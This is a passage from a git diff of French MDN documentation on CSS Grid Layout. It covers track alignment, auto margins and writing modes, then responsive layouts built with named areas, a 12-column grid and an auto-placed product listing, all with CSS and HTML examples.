+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(3,100px);
+  height: 500px;
+  width: 500px;
+  grid-gap: 10px;
+  grid-template-areas:
+    "a a b"
+    "a a b"
+    "c d d";
+  align-content: space-between;
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Objet 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Objet 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Objet 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Objet 4&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('alignment_7', '500', '1570')}}</p>
+</div>
+
+<p>On notera qu'en utilisant ces valeurs pour répartir l'espace, cela peut agrandir les objets de la grille. Si un objet s'étale sur plusieurs pistes, un espace sera ajouté entre chaque piste afin que l'objet qui doit être agrandi puisse absorber cet espace. Aussi, si vous choisissez d'utiliser ces valeurs, assurez-vous que le contenu des pistes puisse absorber cet espace supplémentaire ou que les propriétés d'alignement les renvoient au début de la piste plutôt que de les étirer.</p>
+
+<p>Dans l'image qui suit, on a a placé une grille en utilisant <code>align-content: start</code> et une autre grille qui utilise <code>align-content: space-between</code>. On peut voir la façon dont les objets 1 et 2 (qui s'étalent sur deux lignes) ont gagné en hauteur pour combler l'espace entre les pistes.</p>
+
+<p><img src="https://mdn.mozillademos.org/files/14729/7_space-between.png" style="height: 534px; width: 1030px;"></p>
+
+<h2 id="Justifier_les_pistes_sur_laxe_des_lignes">Justifier les pistes sur l'axe des lignes</h2>
+
+<p>Sur l'axe des lignes, on peut utiliser {{cssxref("justify-content")}} de la même façon qu'on utilisait {{cssxref("align-content")}} pour l'axe des colonnes.</p>
+
+<p>Avec le même exemple, on utilise {{cssxref("justify-content")}} avec la valeur <code>space-around</code>. Là encore, les pistes qui s'étalent sur plus d'une colonne gagnent en largeur.</p>
+
+<div id="alignment_8">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(3,100px);
+  height: 500px;
+  width: 500px;
+  grid-gap: 10px;
+  grid-template-areas:
+    "a a b"
+    "a a b"
+    "c d d";
+  align-content: space-between;
+  justify-content: space-around;
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Objet 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Objet 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Objet 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Objet 4&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('alignment_8', '500', '500')}}</p>
+</div>
+
+<h2 id="Alignement_et_marges_automatiques">Alignement et marges automatiques</h2>
+
+<p>Pour aligner les objets dans une zone, on peut également utiliser des marges automatiques. Si vous avez déjà utiliser <code>auto</code> pour les marges droite et gauche d'un conteneur de bloc, vous savez qu'une telle marge absorbe l'espace disponible. En utilisant <code>auto</code> pour les deux côtés, le bloc est contraint au milieu car les deux marges occupent le plus d'espace possible.</p>
+
+<p>Dans l'exemple qui suit, pour l'objet 1, on utilise une marge à gauche avec <code>auto</code>. On peut alors voir le contenu poussé à droite de la zone (la marge à gauche occupant le plus d'espace possible).</p>
+
+<div id="alignment_9">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(3,100px);
+  height: 500px;
+  width: 500px;
+  grid-gap: 10px;
+  grid-template-areas:
+    "a a b"
+    "a a b"
+    "c d d";
+}
+.item1 {
+  grid-area: a;
+  margin-left: auto;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Objet 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Objet 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Objet 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Objet 4&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('alignment_9', '500', '500')}}</p>
+</div>
+
+<p>On peut voir comment l'objet est aligné grâce à <a href="/fr/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">l'outil de mise en évidence des grilles dans Firefox</a>.</p>
+
+<p><img src="https://mdn.mozillademos.org/files/14731/7_auto_margins.png" style="height: 1000px; width: 1000px;"></p>
+
+<h2 id="Lalignement_et_les_modes_décriture">L'alignement et les modes d'écriture</h2>
+
+<p>Dans tout ces exemples, nous avons travaillé en français ou en anglais, des langues qui s'écrivent de gauche à droite. Cela signifie que les lignes de début de notre grille étaient situées en haut et à gauche lorsqu'on raisonnait avec des directions <em>physiques</em>.</p>
+
+<p>Les spécifications pour les grilles CSS et les boîtes flexibles sont conçues pour fonctionner avec les différents modes d'écriture. Cela signifie que si on travaille avec une langue qui s'écrit de droite à gauche (comme l'arabe), le début de la grille serait en haut à droite. Cela signifie également que la valeur par défaut <code>justify-content: start</code> placerait les pistes du côté droit de la grille. En revanche, si on utilise les marges automatiques avec <code>margin-right</code> ou <code>margin-left</code> ou si on utilise le positionnement absolu avec les valeurs <code>top</code>, <code>right</code>, <code>bottom</code> et <code>left</code>, on ne tiendra pas compte des modes d'écritures. Dans le guide suivant, nous verrons plus en détails comment les grilles et l'alignement interagissent avec les modes d'écriture. Cet aspect est fondamental si vous souhaitez développer des sites qui puissent être affichés dans plusieurs langues ou si vous souhaitez mélanger certaines langues ou modes d'écriture pour une application.</p>
+
+<p>{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Placement_automatique_sur_une_grille_CSS", "Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_les_valeurs_logiques_les_modes_d_écriture","Web/CSS/CSS_Grid_Layout")}}</p>
diff --git a/files/fr/web/css/css_grid_layout/construire_des_dispositions_courantes_avec_des_grilles_css/index.html b/files/fr/web/css/css_grid_layout/construire_des_dispositions_courantes_avec_des_grilles_css/index.html
new file mode 100644
index 0000000000..44e85dda1f
--- /dev/null
+++ b/files/fr/web/css/css_grid_layout/construire_des_dispositions_courantes_avec_des_grilles_css/index.html
@@ -0,0 +1,560 @@
+---
+title: Construire des dispositions courantes avec des grilles CSS
+slug: >-
+  Web/CSS/CSS_Grid_Layout/Construire_des_dispositions_courantes_avec_des_grilles_CSS
+tags:
+  - CSS
+  - CSS Grids
+  - Grilles CSS
+  - Guide
+  - Intermédiaire
+translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout
+---
+<div>{{CSSRef}}</div>
+
+<p>{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Modèle_de_grille_et_autres_modèles_de_disposition","","Web/CSS/CSS_Grid_Layout")}}</p>
+
+<p>Pour clôturer ces différents guides, nous allons maintenant voir différentes dispositions sur lesquelles nous appliquerons des techniques avec les grilles CSS. Nous prendrons un exemple qui utilise <a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Définir_des_zones_sur_une_grille">les zones nommées d'une grille</a>, un système de grille flexible avec 12 colonnes et aussi une liste de produits avec un placement automatique. Comme nous le verrons, il existe plusieurs méthodes pour accéder à chaque résultat. À vous de choisir la méthode qui vous paraît la plus pertinente et utile pour les problèmes que vous avez à résoudre et les dispositions que vous devez implémenter.</p>
+
+<h2 id="Une_disposition_adaptative_avec_une_à_trois_colonnes_en_utilisant_grid-template-areas">Une disposition adaptative avec une à trois colonnes en utilisant <code>grid-template-areas</code></h2>
+
+<p>De nombreux sites web sont construits comme une variation autour de cette disposition avec du contenu, une ou plusieurs barres latérale, un en-tête et un pied de page. Pour que le site soit <em>responsive</em>, on peut souhaiter avoir une seule colonne pour certaines tailles d'affichage, ajouter une barre latérale lorsqu'on a plus d'espace et enfin, avoir trois colonnes pour les écrans les plus larges.</p>
+
+<p><img alt="Image of the three different layouts created by redefining our grid at two breakpoints." src="https://mdn.mozillademos.org/files/14749/11-responsive-areas.png"></p>
+
+<p>Ici, on crée une disposition avec des zones nommées comme on a pu le voir <em><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Définir_des_zones_sur_une_grille">dans l'article correspondant</a></em>.</p>
+
+<p>Dans le document on a un conteneur qui contient un en-tête, un pied de page, du contenu principal, une barre de navigation, une barre latérale et un bloc dans lequel on souhaite placer de la publicité.</p>
+
+<div id="layout_1">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  max-width: 1024px;
+  margin: 0 auto;
+  font: 1.2em Helvetica, arial, sans-serif;
+}
+
+.wrapper &gt; * {
+  border: 2px solid #f08c00;
+  background-color: #ffec99;
+  border-radius: 5px;
+  padding: 10px;
+}
+
+nav ul {
+  list-style: none;
+  margin: 0;
+  padding: 0;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;header class="main-head"&gt;L'en-tête&lt;/header&gt;
+  &lt;nav class="main-nav"&gt;
+    &lt;ul&gt;
+      &lt;li&gt;&lt;a href=""&gt;Nav 1&lt;/a&gt;&lt;/li&gt;
+      &lt;li&gt;&lt;a href=""&gt;Nav 2&lt;/a&gt;&lt;/li&gt;
+      &lt;li&gt;&lt;a href=""&gt;Nav 3&lt;/a&gt;&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/nav&gt;
+  &lt;article class="content"&gt;
+    &lt;h1&gt;L'article principal&lt;/h1&gt;
+    &lt;p&gt;
+       Dans cette disposition, on affiche les zones dans le même
+       ordre que dans le document pour les écrans dont la largeur
+       est inférieure à 500 pixels. On passe à une disposition sur
+       deux colonnes ou trois colonnes en redéfinissant la grille
+       et le placement des objets sur la grille.
+    &lt;/p&gt;
+  &lt;/article&gt;
+  &lt;aside class="side"&gt;Barre latérale&lt;/aside&gt;
+  &lt;div class="ad"&gt;Publicité&lt;/div&gt;
+  &lt;footer class="main-footer"&gt;Le pied de page&lt;/footer&gt;
+&lt;/div&gt;
+</pre>
+
+<p>On utilise {{cssxref("grid-template-areas")}} afin de créer la disposition. On nomme les zones en dehors des différentes <em>media queries</em>. Les propriétés sont nommées grâce à la propriété {{cssxref("grid-area")}}.</p>
+
+<pre class="brush: css">.main-head {
+  grid-area: header;
+}
+.content {
+  grid-area: content;
+}
+.main-nav {
+  grid-area: nav;
+}
+.side {
+  grid-area: sidebar;
+}
+.ad {
+  grid-area: ad;
+}
+.main-footer {
+  grid-area: footer;
+}
+</pre>
+
+<p>Avec ces différentes règles, on n'a pas encore de disposition, uniquement des noms qu'on pourra utiliser. Ensuite, on définit la disposition qu'on aura par défaut et qui sera utilisée pour les mobiles. Dans cette règle, on garde le même ordre que celui utilisé dans le document (cf. <em><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">le guide sur les grilles CSS et l'accessibilité</a></em>). On ne définit aucune piste (colonne ou ligne) mais cela suffit pour décrire une disposition sur une seule colonne, les lignes seront créées implicitement lorsqu'elles seront nécessaires.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-gap: 20px;
+  grid-template-areas:
+    "header"
+    "nav"
+    "content"
+    "sidebar"
+    "ad"
+    "footer";
+}
+</pre>
+
+<p>Après cette disposition par défaut pour les appareils mobiles, on peut ajouter une <a href="/fr/docs/Web/CSS/Requêtes_média">requête média (<em>media query</em>)</a> et redéfinir la disposition lorsqu'on a plus d'espace et qu'on peut afficher deux colonnes :</p>
+
+<pre class="brush: css">@media (min-width: 500px) {
+  .wrapper {
+    grid-template-columns: 1fr 3fr;
+    grid-template-areas:
+      "header  header"
+      "nav     nav"
+      "sidebar content"
+      "ad      footer";
+  }
+  nav ul {
+    display: flex;
+    justify-content: space-between;
+  }
+}
+</pre>
+
+<p>On peut voir la disposition organisée dans la valeur pour la propriété {{cssxref("grid-template-areas")}}. L'en-tête <code>header</code> s'étale sur deux colonnes et le bloc <code>nav</code> également. Sur la troisième ligne, on a la barre latérale (<code>sidebar</code>) à côté du contenu (<code>content</code>). Sur la quatrième ligne, on a le bloc pour la publicité (<code>ad</code>) qui apparaît sous la barre latérale et enfin le pied de page qui apparaît sous le contenu. On utilise une boîte flexible pour la barre de navigation afin de l'étaler sur une ligne homogène.</p>
+
+<p>Enfin, on ajoute une autre requête de média pour la disposition avec trois colonnes :</p>
+
+<pre class="brush: css">@media (min-width: 700px) {
+  .wrapper {
+    grid-template-columns: 1fr 4fr 1fr;
+    grid-template-areas:
+      "header header  header"
+      "nav    content sidebar"
+      "nav    content ad"
+      "footer footer  footer"
+   }
+   nav ul {
+     flex-direction: column;
+   }
+}
+</pre>
+
+<p>Cette disposition en trois colonnes possède une première colonne qui s'étend sur <code>1fr</code>, une colonne centrale qui s'étend sur <code>4fr</code> et une dernière colonne qui mesure également <code>1fr</code>. Cela signifie que l'espace disponible dans le conteneur est découpé en 6 et que chacun de ces morceaux est affecté à une de ces pistes.</p>
+
+<p>Dans cette disposition, la barre de navigation est affichée dans la colonne à gauche, à côté du contenu. Sur la colonne à droite, on a la barre latérale au-dessus de la publicité. Le pied de page, quant à lui, s'étale sur tout le bas du conteneur. Ici aussi, on utilise une boîte flexible en colonne pour la barre de navigation.</p>
+
+<p>{{EmbedLiveSample('layout_1', '800', '430')}}</p>
+</div>
+
+<p>Cet exemple est assez simple mais permet d'illustrer comme utiliser une grille afin de réorganiser le contenu pour différentes tailles d'écran. On voit par exemple comment on déplace le bloc <code>ad</code> dans les différentes organisations. L'utilisation des noms pour les zones permet de prototyper rapidement de nouvelles dispositions. Vous pouvez toujours utiliser la grille pour agencer votre prototype même si ce n'est pas la technologie que vous utiliserez pour votre site ou votre application en production.</p>
+
+<h2 id="Une_disposition_flexible_avec_12_colonnes">Une disposition flexible avec 12 colonnes</h2>
+
+<p>Si vous travaillez avec un <em>framework</em> ou avec un système de grille, vous êtes peut-être habitué-e à travailler sur une grille avec 12 ou 16 colonnes. On peut recréer ce genre de système avec une grille CSS. Pour commencer, on crée une grille avec 12 colonnes dont chaque piste mesure <code>1fr</code>-unit et commence par une ligne intitulée <code>col-start</code>. Autrement dit, on aura 12 colonnes intitulées <code>col-start</code>.</p>
+
+<div id="layout_2">
+<div class="hidden">
+<pre class="brush: css">.wrapper {
+  max-width: 1024px;
+  margin: 0 auto;
+  font: 1.2em Helvetica, arial, sans-serif;
+}
+.wrapper &gt; * {
+  border: 2px solid #f08c00;
+  background-color: #ffec99;
+  border-radius: 5px;
+  padding: 10px;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+  grid-gap: 20px;
+}
+</pre>
+
+<p>Pour voir comment ce système fonctionne, on place quatre éléments dans le conteneur :</p>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Début à la première colonne, s'étend sur 3 colonnes.&lt;/div&gt;
+  &lt;div class="item2"&gt;Début à la colonne 6, s'étend sur 4 colonnes et deux lignes.&lt;/div&gt;
+  &lt;div class="item3"&gt;Début à la colonne 2 de la ligne 2, s'étend sur 2 colonnes.&lt;/div&gt;
+  &lt;div class="item4"&gt;Début à la colonne 3, s'étend jusqu'à la fin de la grille.&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Et on place ces éléments sur la grille en utilisant les noms utilisés précédemment, avec le mot-clé <code>span</code> :</p>
+
+<pre class="brush: css">.item1 {
+  grid-column: col-start / span 3;
+}
+.item2 {
+  grid-column: col-start 6 / span 4 ;
+  grid-row: 1 / 3;
+}
+.item3 {
+  grid-column: col-start 2 / span 2;
+  grid-row: 2;
+}
+.item4 {
+  grid-column: col-start 3 / -1;
+  grid-row: 3;
+}
+</pre>
+
+<p>{{EmbedLiveSample('layout_2', '800', '330')}}</p>
+</div>
+
+<p>Comme nous l'avons vu dans <a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Utiliser_des_lignes_nomméees_sur_une_grille">le guide sur le nommage des lignes</a>, on utilise les noms des colonnes pour placer nos éléments. On a ici 12 colonnes avec le même nom, on utilise donc ce nom et l'indice qui indique le numéro. On pourrait tout aussi bien utiliser seulement le numéro si on voulait se passer des noms pour les lignes.</p>
+
+<p>Plutôt que d'indiquer le numéro de la dernière colonne pour chaque élément, on a ici utilisé le mot-clé <code>span</code> pour indiquer la taille de chaque élément. Cette approche permet de revoir plus clairement la taille de chaque élément lorsqu'on ajoute une nouvelle disposition pour une nouvelle taille d'écran. Dans la capture qui suit, on peut voir comment les blocs sont positionnés sur la grilles. Pour cela, on a utilisé <a href="/fr/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">l'inspecteur de grille de Firefox</a> qui indique de façon claire comment les objets sont placés.</p>
+
+<p><img alt="Showing the items placed on the grid with grid tracks highlighted." src="https://mdn.mozillademos.org/files/14753/11-grid-inspector-12col.png"></p>
+
+<p>Il y a certainement certaines différences fondamentales avec les systèmes que vous auriez pu utiliser précédemment. On voit par exemple qu'il n'est pas nécessaire d'ajouter de règles supplémentaires pour créer une ligne. Généralement, il faut ajouter des contrôles pour éviter que les éléments remontent sur les lignes au-dessus. Avec une grille CSS, ce n'est pas un problème, les lignes supérieures sont laissées vides. La disposition étant <em>stricte</em>, on peut très bien laisser des espaces dans notre plan. Il n'est pas non plus nécessaire de définir des classes spécifiques afin d'indenter les différents objets, il suffit ici d'indiquer la colonne de début et la colonne de fin.</p>
+
+<h3 id="Construire_une_disposition_avec_ce_système_à_12_colonnes">Construire une disposition avec ce système à 12 colonnes</h3>
+
+<p>Pour voir comment cette méthode fonctionne en pratique, nous allons créé le même plan que celui que nous avons vu avec les zones nommées et {{cssxref("grid-template-areas")}} mais en utilisant désormais ce système à 12 colonnes. Commençons avec la même structure que celle utilisée plus haut avec les zones nommées :</p>
+
+<div id="layout_3">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  max-width: 1024px;
+  margin: 0 auto;
+  font: 1.2em Helvetica, arial, sans-serif;
+}
+
+.wrapper &gt; * {
+  border: 2px solid #f08c00;
+  background-color: #ffec99;
+  border-radius: 5px;
+  padding: 10px;
+}
+
+nav ul {
+  list-style: none;
+  margin: 0;
+  padding: 0;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;header class="main-head"&gt;L'en-tête&lt;/header&gt;
+  &lt;nav class="main-nav"&gt;
+    &lt;ul&gt;
+      &lt;li&gt;&lt;a href=""&gt;Nav 1&lt;/a&gt;&lt;/li&gt;
+      &lt;li&gt;&lt;a href=""&gt;Nav 2&lt;/a&gt;&lt;/li&gt;
+      &lt;li&gt;&lt;a href=""&gt;Nav 3&lt;/a&gt;&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/nav&gt;
+  &lt;article class="content"&gt;
+    &lt;h1&gt;L'article principal&lt;/h1&gt;
+    &lt;p&gt;
+       Dans cette disposition, on affiche les zones dans le même
+       ordre que dans le document pour les écrans dont la largeur
+       est inférieure à 500 pixels. On passe à une disposition sur
+       deux colonnes ou trois colonnes en redéfinissant la grille
+       et le placement des objets sur la grille.
+    &lt;/p&gt;
+  &lt;/article&gt;
+  &lt;aside class="side"&gt;Barre latérale&lt;/aside&gt;
+  &lt;div class="ad"&gt;Publicité&lt;/div&gt;
+  &lt;footer class="main-footer"&gt;Le pied de page&lt;/footer&gt;
+&lt;/div&gt;
+</pre>
+
+<p>On initialise la grille avec nos 12 colonnes :</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+  grid-gap: 20px;
+}
+</pre>
+
+<p>Là encore, nous allons adapter la disposition en fonction de la taille de la zone d'affichage mais ici, nous utiliserons les colonnes nommées. Pour chaque type d'affichage, nous allons utiliser 12 colonnes et faire varier le nombre de pistes sur lequel s'étalent les objets à afficher.</p>
+
+<p>Commençons par le mobile : on souhaite gérer les écrans les plus étroits par défaut. Ici aussi, on respecte l'ordre des éléments indiqués par le code source du document et tous les objets s'étalent tout au long de la grille.</p>
+
+<pre class="brush: css">.wrapper &gt; * {
+  grid-column: col-start / span 12;
+}
+</pre>
+
+<p>Pour la prochaine taille, on veut obtenir une disposition sur deux colonnes. Ici, l'en-tête et la barre de navigation occuperont toute une ligne horizontale, il n'est donc pas nécessaire d'indiquer de positionnement pour eux. La barre latérale commence sur la première colonne intitulée <code>col-start</code> et s'étend sur 3 colonnes et commence à partir de la troisième ligne (les deux premières étant occupées par l'en-tête et la barre de navigation).</p>
+
+<p>Le panneau dédié à la publicité est affiché sous la barre latérale et commence à partir de la quatrième ligne. On a ensuite le contenu et le pied de page qui commencent à partir de la quatrième colonne et s'étendent sur 9 pistes pour occuper le reste de la grille.</p>
+
+<pre class="brush: css">@media (min-width: 500px) {
+  .side {
+    grid-column: col-start / span 3;
+    grid-row: 3;
+  }
+  .ad {
+    grid-column: col-start / span 3;
+    grid-row: 4;
+  }
+  .content, .main-footer {
+    grid-column: col-start 4 / span 9;
+  }
+  nav ul {
+    display: flex;
+    justify-content: space-between;
+  }
+}
+</pre>
+
+<p>Voyons alors la disposition sur trois colonnes. Pour ce plan, l'en-tête s'étale aussi sur toute la largeur de la grille, la barre de navigation devient verticale, à côté on a le contenu puis la barre latérale. Le pied de page s'étale, lui aussi, sur toute la largeur du conteneur.</p>
+
+<pre class="brush: css">@media (min-width: 700px) {
+  .main-nav {
+    grid-column: col-start / span 2;
+    grid-row: 2 / 4;
+  }
+  .content {
+    grid-column: col-start 3 / span 8;
+    grid-row: 2 / 4;
+  }
+  .side {
+    grid-column: col-start 11 / span 2;
+    grid-row: 2;
+  }
+  .ad {
+    grid-column: col-start 11 / span 2;
+    grid-row: 3;
+  }
+  .main-footer {
+    grid-column: col-start / span 12;
+  }
+  nav ul {
+    flex-direction: column;
+  }
+}
+</pre>
+
+<p>{{EmbedLiveSample('layout_3', '800', '430')}}</p>
+</div>
+
+<p>On peut à nouveau profiter de <a href="/fr/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">l'inspecteur de grille</a> pour voir comment se compose effectivement notre disposition :</p>
+
+<p><img alt="Showing the layout with grid tracks highlighted by the grid inspector." src="https://mdn.mozillademos.org/files/14755/11-grid-inspector-12col-layout.png" style="height: 614px; width: 2050px;"></p>
+
+<p>On notera qu'il n'a pas été nécessaire de redéfinir explicitement la position de chaque élément pour chaque résolution. On a pu hériter des emplacements des résolutions précédentes. On gagne donc à travailler en considérant les résolutions mobiles en premier lieu. On tire également parti du placement automatique géré par la grille avec l'ordre, logique, des éléments du documents. Dans le dernier exemple, nous allons voir comment le placement automatique sur la grille peut aider à positionner des objets..</p>
+
+<h2 id="Une_liste_produit_utilisant_le_placement_automatique">Une liste produit utilisant le placement automatique</h2>
+
+<p>De nombreuses dispositions sont essentiellement composée de <em>cartes</em> ou <em>tuiles</em> : des listes produit, des galeries d'image, etc. Avec une grille, on peut facilement créer ce genre de liste de façon adaptative, sans avoir à ajouter de <a href="/fr/docs/Web/CSS/Requêtes_média">requêtes de média</a>. Dans l'exemple qui suit, nous allons combiner les grilles CSS et les boîtes flexibles afin d'obtenir une liste de produits.</p>
+
+<p>Le document utilisé contient une liste d'objets non ordonnée. Pour chaque produit, on a un titre, un texte dont la taille n'est pas fixe et un lien pour effectuer une action.</p>
+
+<div id="layout_4">
+<pre class="brush: html">&lt;ul class="listing"&gt;
+  &lt;li&gt;
+    &lt;h2&gt;Produit n°1&lt;/h2&gt;
+    &lt;div class="body"&gt;&lt;p&gt;Le descriptif du produit sera écrit ici.&lt;/p&gt;&lt;/div&gt;
+    &lt;div class="cta"&gt;&lt;a href=""&gt;Faire quelque chose !&lt;/a&gt;&lt;/div&gt;
+  &lt;/li&gt;
+   &lt;li&gt;
+     &lt;h2&gt;Produit n°2&lt;/h2&gt;
+     &lt;div class="body"&gt;&lt;p&gt;Le descriptif du produit sera écrit ici.&lt;/p&gt;&lt;/div&gt;
+     &lt;div class="cta"&gt;&lt;a href=""&gt;Faire quelque chose !&lt;/a&gt;&lt;/div&gt;
+   &lt;/li&gt;
+   &lt;li class="wide"&gt;
+     &lt;h2&gt;Produit n°3&lt;/h2&gt;
+     &lt;div class="body"&gt;&lt;p&gt;Le descriptif du produit sera écrit ici.&lt;/p&gt;
+     &lt;p&gt;Ce produit possède un descriptif beaucoup plus long.&lt;/p&gt;
+     &lt;p&gt;Vraiment plus long&lt;/p&gt;
+     &lt;p&gt;Peut-être faudrait-il le gérer différemment ?&lt;/p&gt;&lt;/div&gt;
+     &lt;div class="cta"&gt;&lt;a href=""&gt;Faire quelque chose !&lt;/a&gt;&lt;/div&gt;
+    &lt;/li&gt;
+    &lt;li&gt;
+     &lt;h2&gt;Produit n°4&lt;/h2&gt;
+     &lt;div class="body"&gt;&lt;p&gt;Le descriptif du produit sera écrit ici.&lt;/p&gt;&lt;/div&gt;
+     &lt;div class="cta"&gt;&lt;a href=""&gt;Faire quelque chose !&lt;/a&gt;&lt;/div&gt;
+    &lt;/li&gt;
+     &lt;li&gt;
+     &lt;h2&gt;Produit n°5&lt;/h2&gt;
+     &lt;div class="body"&gt;&lt;p&gt;Le descriptif du produit sera écrit ici.&lt;/p&gt;&lt;/div&gt;
+      &lt;div class="cta"&gt;&lt;a href=""&gt;Faire quelque chose !&lt;/a&gt;&lt;/div&gt;
+    &lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+img {max-width: 100%; display: block;}
+body {
+  font: 1.2em Helvetica, arial, sans-serif;
+}
+
+a:link, a:visited {
+  text-decoration: none;
+  color: #f08c00;
+}
+
+h2 {
+  background-color: #f08c00;
+  color: #fff;
+  text-align: center;
+  margin: 0;
+  padding: 20px;
+}
+</pre>
+</div>
+
+<p>Nous allons créer une grille avec un nombre de colonnes adaptable et chacune des colonnes sera flexible. On indique qu'une colonne doit avoir une largeur minimale de 200 pixels et que l'espace restant doit être réparti équitablement (toutes les colonnes auront donc la même largeur). Pour obtenir ce résultat, on utilise la fonction <code>minmax()</code> avec la notation <code>repeat</code> pour la propriété <code>grid-template-columns</code> qui permet de dimensionner les pistes.</p>
+
+<pre class="brush: css">.listing {
+  list-style: none;
+  margin: 2em;
+  display: grid;
+  grid-gap: 20px;
+  grid-template-columns: repeat(auto-fill,minmax(200px, 1fr));
+}
+</pre>
+
+<p>Dès qu'on ajoute cette règle, les objets s'organisent sur la grille. Si on chance la taille de la fenêtre, le nombre de colonne s'adaptera, sans qu'il soit nécessaire d'ajouter des requêtes de média ou de définir la grille.</p>
+
+<p>On peut ensuite améliorer chacune des boîtes en utilisant les boîtes flexibles. Pour les éléments de la liste ({{HTMLElement("li")}}), on utilise <code>display: flex</code> et <code>flex-direction</code> avec la valeur <code>column</code>. On ajoute une marge automatique pour la classe <code>.cta</code> afin que cette barre soit placée en bas de la boîte.</p>
+
+<pre class="brush: css">.listing li {
+  border: 1px solid #ffe066;
+  border-radius: 5px;
+  display: flex;
+  flex-direction: column;
+}
+.listing .cta {
+  margin-top: auto;
+  border-top: 1px solid #ffe066;
+  padding: 10px;
+  text-align: center;
+}
+.listing .body {
+  padding: 10px;
+}
+</pre>
+
+<p>Voici un exemple où, d'après moi, l'utilisation des boîtes flexibles est pertinente par rapport à une autre grille : on ne fait qu'aligner ou organiser des objets sur un seul axe, ce qui est très bien géré avec une boîte flexible.</p>
+
+<p>{{EmbedLiveSample('layout_4', '800', '900')}}</p>
+</div>
+
+<p>Le résultat est plutôt abouti mais on a parfois des cartes qui ont beaucoup plus de contenu. Si on veut que celles-ci soient plus large (pour éviter qu'elles soient trop hautes), on peut les étaler sur deux pistes. Pour cela, on a utilisé la classe <code>wide</code> sur l'objet avec plus de contenu et on ajoute une règle {{cssxref("grid-column-end")}} avec la valeur <code>span 2</code>. Désormais, lorsque la grille devra placer un élément de ce type, elle lui affectera deux colonnes. Cela signifie aussi que pour certaines tailles d'affichage, on aura un espace dans la grille lorsqu'il n'y aura pas suffisamment d'espace pour placer un objet sur deux colonnes :</p>
+
+<p><img alt="The layout has gaps as there is not space to layout a two track item." src="https://mdn.mozillademos.org/files/14751/11-grid-auto-flow-sparse.png" style="height: 1664px; width: 1640px;"></p>
+
